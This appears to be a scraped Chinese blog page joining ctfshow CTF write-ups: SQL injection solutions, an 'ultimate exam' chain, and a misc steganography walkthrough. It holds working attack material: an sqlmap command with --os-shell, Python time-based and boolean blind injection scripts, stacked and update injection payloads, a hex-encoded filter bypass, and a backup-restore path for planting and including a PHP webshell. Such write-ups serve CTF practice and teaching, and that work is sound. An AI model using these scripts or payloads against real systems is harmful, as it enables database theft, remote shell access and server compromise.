    python sqlmap.py -u http://0a771e91-88e4-491f-9e3c-a999910df646.challenge.ctf.show:8080/api/index.php -C ctfshow_web -T ctfshow_flavia --dump --cookie="PHPSESSID=jmn3cp01f6qiaktbs2hf1c7tcb" --safe-url=http://0a771e91-88e4-491f-9e3c-a999910df646.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://0a771e91-88e4-491f-9e3c-a999910df646.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web212.py" --os-shell
    

    web214

    • 简单的无过滤时间盲注
    import time
    import requests
    from tqdm import tqdm
    
    def timeBlindSql(url):
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        flag = ''
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        for i in tqdm(range(1,100)):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                # payload = "ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, sleep(5), 1)&debug=0".format(i, mid)
                # payload = "ip=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'), {}, 1)) > {}, sleep(5), 1)&debug=0".format(i, mid)
                payload = "if(ord(substr((select group_concat(flaga) from ctfshow_flagx), {}, 1)) > {}, sleep(10), 0)"
                data = {
                    'ip' : payload.format(i,mid),
                    'debug' : '0'
                }
                start_time = time.time()
                requests.post(url=url, data=data, headers=headers)
                end_time = time.time()
                diff_time = end_time - start_time
                if diff_time < 5:
                    high = mid
                else:
                    low = mid + 1
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                if chr(low) == '}':
                    exit(0)
                continue
            else:
                break
                
                
    
    if __name__ == '__main__':
        url = "http://ef70ed65-e433-4de2-a818-2ca353cf48f1.challenge.ctf.show:8080/api/"
        timeBlindSql(url)
    

    web215

    • 根据题目给的提示,在脚本里加上单引号
    import time
    import requests
    from tqdm import tqdm
    
    def timeBlindSql(url):
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        flag = ''
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        for i in tqdm(range(1,100)):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                # payload = "1' or if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, sleep(10), 0) and '1'='1"
                # payload = "1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'), {}, 1)) > {}, sleep(10), 0) and '1'='1"
                payload = "1' or if(ord(substr((select group_concat(flagaa) from ctfshow_flagxc), {}, 1)) > {}, sleep(10), 0) and '1'='1"
                data = {
                    'ip' : payload.format(i,mid),
                    'debug' : '0'
                }
                start_time = time.time()
                requests.post(url=url, data=data, headers=headers)
                end_time = time.time()
                diff_time = end_time - start_time
                if diff_time < 6:
                    high = mid
                else:
                    low = mid + 1
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                if chr(low) == '}':
                    exit(0)
                continue
            else:
                break
                
                
    
    if __name__ == '__main__':
        url = "http://c0a8a32e-de49-44f5-9529-adec4d73e5d2.challenge.ctf.show:8080/api/"
        timeBlindSql(url)
    

    web216

    • 用 base64 之后的 1 来绕过即可
    import time
    import requests
    from tqdm import tqdm
    
    def timeBlindSql(url):
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        flag = ''
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        for i in tqdm(range(1,100)):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                payload = "'MQ==') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, sleep(10), 0) and ('1'"
                # payload = "'MQ==') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'), {}, 1)) > {}, sleep(10), 0) and ('1'"
                # payload = "'MQ==') or if(ord(substr((select group_concat(flagaac) from ctfshow_flagxcc), {}, 1)) > {}, sleep(10), 0) and and ('1'"
                data = {
                    'ip' : payload.format(i,mid),
                    'debug' : '0'
                }
                start_time = time.time()
                requests.post(url=url, data=data, headers=headers)
                end_time = time.time()
                diff_time = end_time - start_time
                if diff_time < 5:
                    high = mid
                else:
                    low = mid + 1
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                if chr(low) == '}':
                    exit(0)
                continue
            else:
                break
                
    
    if __name__ == '__main__':
        url = "http://e05e7a5d-17a6-4412-b134-4a92df2c7f85.challenge.ctf.show:8080/api/"
        timeBlindSql(url)
    

    web217

    • 过滤了 sleep,用 benchmark 来绕过
    import time
    import requests
    from tqdm import tqdm
    
    def timeBlindSql(url):
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        flag = ''
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        for i in tqdm(range(1,100)):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                payload = "'1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, benchmark(30000000,sha(1)), 0) and ('1'"
                # payload = "'1') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'), {}, 1)) > {}, benchmark(30000000,sha(1)), 0) and ('1'"
                # payload = "'1') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc), {}, 1)) > {}, benchmark(30000000,sha(1)), 0) and and ('1'"
                data = {
                    'ip' : payload.format(i,mid),
                    'debug' : '0'
                }
                print(data)
                start_time = time.time()
                requests.post(url=url, data=data, headers=headers)
                end_time = time.time()
                diff_time = end_time - start_time
                if diff_time < 5:
                    high = mid
                else:
                    low = mid + 1
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                if chr(low) == '}':
                    exit(0)
                continue
            else:
                break
                
    
    if __name__ == '__main__':
        url = "http://5c27dc9d-7b54-4ed4-a889-8a8a6bbbedfd.challenge.ctf.show:8080/api/"
        timeBlindSql(url)
    

    web218

    • 过滤了 sleepbenchmark,用笛卡尔积来绕过
    import time
    import requests
    from tqdm import tqdm
    
    def timeBlindSql(url):
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        flag = ''
        T = '(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F)'
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        for i in tqdm(range(1,100)):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                payload = "'1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, {}, 0) and ('1'"
                # payload = "'1') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'), {}, 1)) > {}, {}, 0) and ('1'"
                # payload = "'1') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc), {}, 1)) > {}, {}, 0) and and ('1'"
                data = {
                    'ip' : payload.format(i,mid,T),
                    'debug' : '0'
                }
                print(data)
                start_time = time.time()
                requests.post(url=url, data=data, headers=headers)
                end_time = time.time()
                diff_time = end_time - start_time
                if diff_time < 5:
                    high = mid
                else:
                    low = mid + 1
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                if chr(low) == '}':
                    exit(0)
                continue
            else:
                break
                
    
    if __name__ == '__main__':
        url = "http://5852e0e7-7fb0-48da-94a9-551148fc9864.challenge.ctf.show:8080/api/"
        timeBlindSql(url)
    

    web219

    • 过滤条件为 preg_match('/sleep|benchmark|rlike/i',$str);,继续用上面的脚本就行
    import time
    import requests
    from tqdm import tqdm
    
    def timeBlindSql(url):
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        flag = ''
        T = '(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F)'
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        for i in tqdm(range(1,100)):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                payload = "'1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, {}, 0) and ('1'"
                # payload = "'1') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'), {}, 1)) > {}, {}, 0) and ('1'"
                # payload = "'1') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc), {}, 1)) > {}, {}, 0) and and ('1'"
                data = {
                    'ip' : payload.format(i,mid,T),
                    'debug' : '0'
                }
                print(data)
                start_time = time.time()
                requests.post(url=url, data=data, headers=headers)
                end_time = time.time()
                diff_time = end_time - start_time
                if diff_time < 4:
                    high = mid
                else:
                    low = mid + 1
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                if chr(low) == '}':
                    exit(0)
                continue
            else:
                break
                
    
    if __name__ == '__main__':
        url = "http://4c7e8954-4478-4007-975b-ce06c34edfb8.challenge.ctf.show:8080/api/"
        timeBlindSql(url)
    

    web220

    • 过滤条件为:preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);,继续用笛卡尔积来进行延时注入,利用 left 来匹配字符串
    import time
    import requests
    from tqdm import tqdm
    
    def timeBlindSql(url):
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        flag = 'ct'
        T = '(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F, information_schema.schemata G)'
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        for i in tqdm(range(3,100)):
            for ch in strings:
                payload = "'1') or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1), {})like'{}', {}, 0) and ('1'"
                data = {
                    'ip' : payload.format(i,flag+ch,T),
                    'debug' : '0'
                }
                print(data)
                start_time = time.time()
                requests.post(url=url, data=data, headers=headers)
                end_time = time.time()
                diff_time = end_time - start_time
                if diff_time < 4:
                    continue
                else:
                    flag = flag + ch
                    print('[+] ' + flag)
                    break
    
    if __name__ == '__main__':
        url = "http://41ac10b3-19ba-4719-849b-b6f8a6a2efc1.challenge.ctf.show:8080/api/"
        timeBlindSql(url)
    

    web221

    http://1c1edfaa-f567-4fba-a04f-285c886e937d.chall.ctf.show/api/?page=2&limit=1 procedure  analyse(extractvalue(rand(),concat(0x3a,database())),1)
    

    web222

    import requests
    from tqdm import tqdm
    
    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded',
        'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
    }
    flag = ''
    def groupBySql(url):
        global flag
        for i in tqdm(range(1,50)):
            low = 32
            high = 127
            while low < high:
                mid = (high + low) >> 1
                # payload = 'u=if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))>{},username,1)&page=1&limit=10'.format(i, mid)
                # payload = 'u=if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'ctfshow_flaga\'),{},1))>{},username,1)&page=1&limit=10'.format(i, mid)
                payload = 'u=if(ascii(substr((select/**/group_concat(flagaabc)/**/from/**/ctfshow_flaga),{},1))>{},username,1)&page=1&limit=10'.format(i, mid)
                print(payload)
                res = requests.get(url=url, params=payload, headers=headers)
                if 'userAUTO' in res.text:
                    low = mid + 1
                else:
                    high = mid
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                if chr(low) == '}':
                    exit(0)
            else:
                break
    
    if __name__ == '__main__':
        url = 'http://a922ab82-0b09-4168-b545-7fec8ebf2419.challenge.ctf.show:8080/api/'
        groupBySql(url)
    

    web223

    import requests
    from tqdm import tqdm
    import urllib.parse
    
    # headers = {
    #     'Content-Type' : 'application/x-www-form-urlencoded',
    #     'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
    # }
    flag = ''
    
    def getNumber(num):
        result = 'true'
        if num == 1:
            return result
        else:
            for i in range(num - 1):
                result += '+true'
            return result
    
    
    def groupBySql(url):
        global flag
        for i in tqdm(range(1,50)):
            low = 32
            high = 127
            while low < high:
                mid = (high + low) >> 1
                # payload = {'u' : f"if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{getNumber(i)},{getNumber(1)}))>({getNumber(mid)}),username,'a')"}
                # payload = {'u' : f"if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_flagas'),{getNumber(i)},{getNumber(1)}))>({getNumber(mid)}),username,'a')"}
                payload = {'u' : f"if(ascii(substr((select/**/group_concat(flagasabc)/**/from/**/ctfshow_flagas),{getNumber(i)},{getNumber(1)}))>({getNumber(mid)}),username,'a')"}
                print(payload)
                res = requests.get(url=url, params=payload)
                if 'userAUTO' in res.text:
                    low = mid + 1
                else:
                    high = mid
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                if chr(low) == '}':
                    exit(0)
            else:
                break
    
    if __name__ == '__main__':
        url = 'http://8a1651f0-0cea-47cd-a662-15891b0889de.challenge.ctf.show:8080/api/'
        groupBySql(url)
    

    web224

    web225

    • 开始堆叠注入
    查找表名
    ?username=1';show tables;
    查找数据
    ?username=1';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
    
    或者用预编译来做
    
    ?username=1';PREPARE H3rmesk1t from concat('sel','ect * from ctfshow_flagasa');EXECUTE H3rmesk1t;
    

    web226

    • 过滤了 show(,用十六进制来绕过
    ?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
    ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE demo;
    

    web227

    • 这道题的 Flag 需要通过查看存储过程和函数的信息来获取,即 information_schema.Routines
    直接拿到 Flag 或者发现自定义的 getflag 函数通过 call getFlag(); 来获取 Flag
    ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;EXECUTE demo;
    

    web228

    • 继续用之前的预处理 Payload
    ?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
    ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE demo;
    

    web229

    • 继续用之前的预处理 Payload
    ?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
    ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d20666c6167;EXECUTE demo;
    

    web230

    • 继续用之前的预处理 Payload
    ?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
    ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE demo;
    

    web231

    • 开始 update 注入的学习了
    爆表名
    password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
    爆列名
    password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
    爆数据
    password=1',username=(select flagas from flaga) where 1=1#&username=1
    

    web232

    • 和上面的 Payload 差不多,改一下闭合形式就行
    爆表名
    password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
    爆列名
    password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
    爆数据
    password=1'),username=(select flagas from flaga) where 1=1#&username=1
    

    web233

    • 时间盲注
    import time
    import requests
    from tqdm import tqdm
    
    def timeBlindSql(url):
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        flag = 'ct'
        T = '(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F, information_schema.schemata G)'
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        for i in tqdm(range(3,100)):
            for ch in strings:
                payload = "'1') or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1), {})like'{}', {}, 0) and ('1'"
                data = {
                    'ip' : payload.format(i,flag+ch,T),
                    'debug' : '0'
                }
                print(data)
                start_time = time.time()
                requests.post(url=url, data=data, headers=headers)
                end_time = time.time()
                diff_time = end_time - start_time
                if diff_time < 4:
                    continue
                else:
                    flag = flag + ch
                    print('[+] ' + flag)
                    break
    
    if __name__ == '__main__':
        url = "http://41ac10b3-19ba-4719-849b-b6f8a6a2efc1.challenge.ctf.show:8080/api/"
        timeBlindSql(url)
    

    web234

    • 单引号被过滤了,用 \ 实现逃逸
    username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())-- - &password=\
    username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)-- - &password=\
    username=,username=(select flagass23s3 from flag23a)-- - &password=\
    
    展开全文
  • ctfshow终极考核wp

    千次阅读 2022-01-17 16:39:15
    ctfshow{060ae7a27d203604baeb125f939570ef} web641 抓取首页的包,看到有一个Flag字段 ctfshow{affac61c787a82cc396585bea8ecf2dc} web642 在上面包里的源码看到css路径不寻常/system36d/static/css/start.css,...

    web640

    打开页面就能看到flag

    ctfshow{060ae7a27d203604baeb125f939570ef}
    

    web641

    抓取首页的包,看到有一个Flag字段

    ctfshow{affac61c787a82cc396585bea8ecf2dc}
    

    web642

    在上面包里的源码看到css路径不寻常/system36d/static/css/start.css,在url后添加/system36d,抓包得到flag。

    ctfshow{11a17b6fbdc69cedfb374f55026700fe}
    

    web643

    出现一个登录界面,f12查看源码,看看能不能找到密码,找到加密的js代码tatic/js/lock/index.js,在里面发现web644的flag请添加图片描述
    那么密码就是0x36D,最后出现了web644的flag

    ctfshow{616cd5fc37968fc20810b2db30152717}
    

    web644

    ctfshow{2bb9f2183f102f6f2aedbea4788f9f1d}
    

    web645

    找到执行命令的页面,抓包
    请添加图片描述
    测试发现能用ls,看到下面的这些文件

    请添加图片描述
    可能过滤了n多个符号,没法用空格,试试页面上直接访问secret.txt,得到一串十六进制数,转成ascii码得到web643的flag
    有一个数据备份功能,把文件下载后得到flag

    ctfshow{28b00f799c2e059bafaa1d6bda138d89}
    

    web646

    可以看到远程更新那里要输入web645的flag,输入后抓包,看到有一个update_address参数,试一试文件包含

    ?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=/var/www/html/system36d/init.php
    

    得到flag

    ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}
    

    web647

    查看users.php

    evilString($m)
    {
    	$key = '372619038';
    	$content = call_user_func($m);
    	if(stripos($content, $key)!==FALSE)
    	{
    		echo shell_exec('cat \/FLAG\/FLAG647');
    	}
    	else
    	{
    		echo 'you are not 372619038?';
    	}
    }
    

    checklogin.php

    <?php
    $s=$_GET['s'];
    setcookie('uid',intval($s));
    $_SESSION['user_id']=intval($s);
    header('location:main.php');
    

    647的flag的cookie值是372619038,先访问

    /system36d/checklogin.php?s=372619038
    

    再访问

    /system36d/users.php?action=evilString&m=session_encode
    

    得到flag

    ctfshow{e6ad8304cdb562971999b476d8922219}
    

    web648

    我整理了下完整的代码

    <?php
    error_reporting(0);
    session_start();
    include 'init.php';
    $a=$_GET['action'];
    $data = file_get_contents(DB_PATH);
    $ret = '';
    switch ($a) {
    	case 'evilClass':
    		evilClass($_GET['m'],$_GET['key']);
    		break;
    }
    
    function evilClass($m,$k){
        class ctfshow
        {
            public $m;
    
            public function construct($m)
            {
                $this->$m = $m;
            }
        }
    
        $ctfshow = new ctfshow($m);
        $ctfshow->$m = $m;
        if ($ctfshow->$m == $m && $k == shell_exec('cat /FLAG/FLAG647')) {
            echo shell_exec('cat /FLAG/FLAG648');
        } else {
            echo 'mmmmm?';
        }
    }
    

    唯一要注意的是shell_exec('cat /FLAG/FLAG647')的结果是flag_647=ctfshow{e6ad8304cdb562971999b476d8922219},而不是单独的一个flag

    /system36d/users.php?action=evilClass&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}&m=m
    

    得到flag

    ctfshow{af5b5e411813eafd8dc2311df30b394e}
    

    web649

    先看代码

    <?php
    error_reporting(0);
    session_start();
    include 'init.php';
    $a=$_GET['action'];
    $data = file_get_contents(DB_PATH);
    $ret = '';
    switch ($a) {
    	case 'evilNumber':
    		evilNumber($_GET['m'],$_GET['key']);
    		break;
    }
    
    function evilNumber($m, $k)
    {
        $number = getArray(1000, 20, 10, 999);
        if ($number[$m] == $m && $k == shell_exec('cat /FLAG/FLAG648')) {
            echo shell_exec('cat /FLAG/FLAG649');
        } else {
            echo 'number is right?';
        }
    }
    
    function getArray($total, $times, $min, $max)
    {
    	$data = array();
    	if ($min * $times > $total)
    	{
    		return array();
    	}
    	if ($max * $times < $total) 
    	{
    		return array();
    	}
    	while ($times >= 1) 
    	{
    		$times--;
    		$kmix = max($min, $total - $times * $max);
    		$kmax = min($max, $total - $times * $min);
    		$kAvg = $total / ($times + 1);
    		$kDis = min($kAvg - $kmix, $kmax - $kAvg);
    		$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
    		$k = round($kAvg + $r);
    		$total -= $k;
    		$data[] = $k;
    	}
    	return $data;
    }
    

    getArray()函数用于生成随机数,直接不传值就行

    /system36d/users.php?action=evilNumber&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
    

    web650

    <?php
    error_reporting(0);
    session_start();
    include 'init.php';
    $a=$_GET['action'];
    $data = file_get_contents(DB_PATH);
    $ret = '';
    switch ($a) {
    	case 'evilFunction':
    		evilFunction($_GET['m'],$_GET['key']);
    		break;
    }
    
    function evilFunction($m, $k)
    {
        $key = 'ffffffff';
        $content = call_user_func($m);
        if (stripos($content, $key) !== FALSE && $k == shell_exec('cat \/FLAG\/FLAG649')) {
            echo shell_exec('cat /FLAG/FLAG650');
        } else {
            echo 'you are not ffffffff?';
        }
    }
    

    要让$content的函数值中有$key的内容,可以把cookie中的SESSIONID改成ffffffff即可

    /system36d/users.php?action=evilFunction&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}&m=session_id
    

    flag

    ctfshow{5eae22d9973a16a0d37c9854504b3029}
    

    web651

    <?php
    error_reporting(0);
    session_start();
    include 'init.php';
    $a=$_GET['action'];
    $data = file_get_contents(DB_PATH);
    $ret = '';
    switch ($a) {
    	case 'evilArray':
    		evilArray($_GET['m'],$_GET['key']);
    		break;
    }
    
    function evilArray($m, $k)
    {
        $arrays = unserialize($m);
        if ($arrays !== false) {
            if (array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k == shell_exec('cat /FLAG/FLAG650')) {
                echo shell_exec('cat /FLAG/FLAG651');
            } else {
                echo 'array?';
            }
        }
    }
    

    这里的要求是数组中的键是username,值是ctfshow,构造一下

    <?php
    class web651{
        public $username='ctfshow';
    }
    
    echo urlencode(serialize(new web651()));
    

    传值即可得到flag

    /system36d/users.php?action=evilArray&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}&m=O%3A6%3A%22web651%22%3A1%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22ctfshow%22%3B%7D
    
    ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
    

    web652

    查看page.php和util/dbutil.php的代码,发现有sql操作

    page.php

    <?php
    error_reporting(0);
    include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';
    $id = isset($_GET['id'])?$_GET['id']:'1';
    $id = addslashes($id);
    $name = db::get_username($id);
    ?>
    

    util/dbutil.php

    <?php
    class db{
    	private static $host='localhost';
    	private static $username='root';
    	private static $password='root';
    	private static $database='ctfshow';
    	private static $conn;
    	public static function get_key(){
    		$ret = '';
    		$conn = self::get_conn();
    		$res = $conn->query('select `key` from ctfshow_keys');
    		if($res){
    			$row = $res->fetch_array(MYSQLI_ASSOC);
    		}
    		$ret = $row['key'];
    		self::close();
    		return $ret;
    	}
    	public static function get_username($id){
    		$ret = '';
    		$conn = self::get_conn();
    		$res = $conn->query("select `username` from ctfshow_users where id = ($id)");
    			if($res){
    				$row = $res->fetch_array(MYSQLI_ASSOC);
    			}
    				$ret = $row['username'];
    				self::close();
    				return $ret;
    	}
    	private static function get_conn(){
    		if(self::$conn==null){
    			self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);       
    		}
    		return self::$conn;
    	}
    	private static function close(){
    		if(self::$conn!==null){
    			self::$conn->close();
    		}
    	}
    }
    

    这里使用了addslashes()函数来防注入,但是url编码就可以绕过。发现回显点在标题上

    /page.php?id=1000)%20union%20select%20database()%23
    

    库名是ctfshow
    information_schema应该是被过滤了,所以换mysql.innodb_table_stats获取表名

    /page.php?id=1000) union select group_concat(table_name) from mysql.innodb_table_stats where database_name = database()%23
    

    表名有ctfshow_keys,ctfshow_secret,ctfshow_users

    /page.php?id=1000) union select * from ctfshow_secret%23
    

    得到flag,并查出key值为key_is_here_you_know

    ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}
    

    web653

    查看common.php的代码

    <?php
    include 'dbutil.php';
    if($_GET['k']!==shell_exec('cat \/FLAG\/FLAG651')){\n    
    	die('651flag\u672a\u62ff\u5230');
    }
    if(isset($_POST['file']) && file_exists($_POST['file'])){
    	if(db::get_key()==$_POST['key']){
    		include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
    	}
    }
    

    有文件包含可以利用,想到前面有一个备份的下载和上传功能,也知道了db文件的位置请添加图片描述
    先下载备份文件,在里面添加一句话木马后通过数据还原上传,然后包含

    GET:
    http://42bca333-4e6a-47dd-aac9-ac355892c78e.challenge.ctf.show/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
    
    POST:
    key=key_is_here_you_know&file=../db/data_you_never_know.db&a=phpinfo();
    

    蚁剑连接后在根目录找到flag

    ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}
    

    web654

    UDF提权

    展开全文
  • ctfshow-Misc入门

    千次阅读 2021-07-29 00:32:02
    ctfshow-Misc入门写在前面图片篇(基础操作)misc1misc2misc3misc4图片篇(信息附加)misc5misc6misc7misc8misc9zsteg (补充)misc10misc11misc12misc13misc14misc15misc16misc17misc18misc19misc20misc21misc22misc23...

    写在前面

    后续提取图片中的flag均为脚本提取,部分flag提取出错需要人工再次核验哈~,flag提取演示

    图片篇(基础操作)

    misc1

    flag在下载的图片上

    在这里插入图片描述

    在这里插入图片描述

    misc2

    将后缀名改为.png即可在图片上看到flag

    在这里插入图片描述

    misc3

    推荐一款图片浏览器 Honeyview,直接可以查看bpg格式的图片

    在这里插入图片描述

    misc4

    用 HxD 依次查看文件头,将后缀名依次改为 .png.jpg.bmp.gif.tif.webp,将内容拼接起来即可得到flag

    在这里插入图片描述
    在这里插入图片描述

    图片篇(信息附加)

    misc5

    HxD 打开,拖到尾部即可发现flag

    在这里插入图片描述

    misc6

    HxD 打开,搜索关键词 ctfshow 即可发现flag

    在这里插入图片描述

    misc7

    HxD 打开,搜索关键词 ctfshow 即可发现flag

    在这里插入图片描述

    misc8

    binwalk 查看图片发现隐藏图片,利用 foremost 提取出来

    在这里插入图片描述
    在这里插入图片描述

    misc9

    zsteg 查看图片,发现flag

    在这里插入图片描述

    zsteg (补充)

    zsteg安装方法 (补充)

    更换RubyGems的源
    gem sources --remove https://rubygems.org/
    gem sources --add https://gems.ruby-china.com/
    gem sources -l
    安装zsteg
    git clone https://hub.fastgit.org/zed-0xff/zsteg.git 
    cd zsteg
    gem install zsteg
    

    zsteg的使用方法 (常见)

    查看帮助
    zsteg -h
    
    查看LSB信息
    zsteg pcat.png
    
    检测zlib
    # -b的位数是从1开始的
    zsteg zlib.bmp -b 1 -o xy -v
    
    显示细节
    zsteg pcat.png -v
    
    尝试所有已知的组合
    zsteg pcat.png -a
    
    导出内容
    zsteg -E "b1,bgr,lsb,xy" pcat.png > p.exe
    
    更多的使用方法可以查看README.md
    

    misc10

    binwalk 查看图片,分离图片,查看数据块即可发现flag,需要注意的是zlib是PNG IDAT的可选压缩格式

    在这里插入图片描述

    misc11

    binwalk 查看发现两个IDAT数据块,尝试删去第一个数据块,查看图片发现flag

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    misc12

    zsteg查看图片提示数据块异常

    在这里插入图片描述

    测试后发现需要删掉前8个IDAT块

    在这里插入图片描述

    在这里插入图片描述

    misc13

    HxD查看发现图片尾部存在可疑数据,观察发现{前面那一串字符从第一位开始每隔一位选取一个字符,连起来就是ctfshow,编写脚本提取flag

    s="631A74B96685738668AA6F4B77B07B216114655336A5655433346578612534DD38EF66AB35103195381F628237BA6545347C3254647E373A64E465F136FA66F5341E3107321D665438F1333239E9616C7D"
    flag=""
    for i in range(0,len(s),4):
        flag += s[i]
        flag += s[i+1]
    print(flag)
    

    misc14

    binwalk查看图片,发现JPEG图片,foremostbinwalk无法成功提取,用HxD打开搜索文件头手动提取
    在这里插入图片描述

    在这里插入图片描述

    misc15

    HxD打开搜索关键词 ctfshow 即可发现flag

    在这里插入图片描述

    misc16

    binwalk查看图片,发现额外数据,用binwalk -e提取出来,查看提取出来的文件发现flag

    在这里插入图片描述

    misc17

    binwalk提取出来的东西解不出,尝试 zsteg,根据提示提取信息得到PNG图片,查看图片发现flag

    在这里插入图片描述

    在这里插入图片描述

    misc18

    exiftool 查看图片,flag在标题、作者、照相机和镜头型号里

    在这里插入图片描述

    misc19

    exiftool 查看图片,flag在主机上的文档名里

    在这里插入图片描述

    misc20

    exiftool 查看图片,flag在评论里

    在这里插入图片描述

    misc21

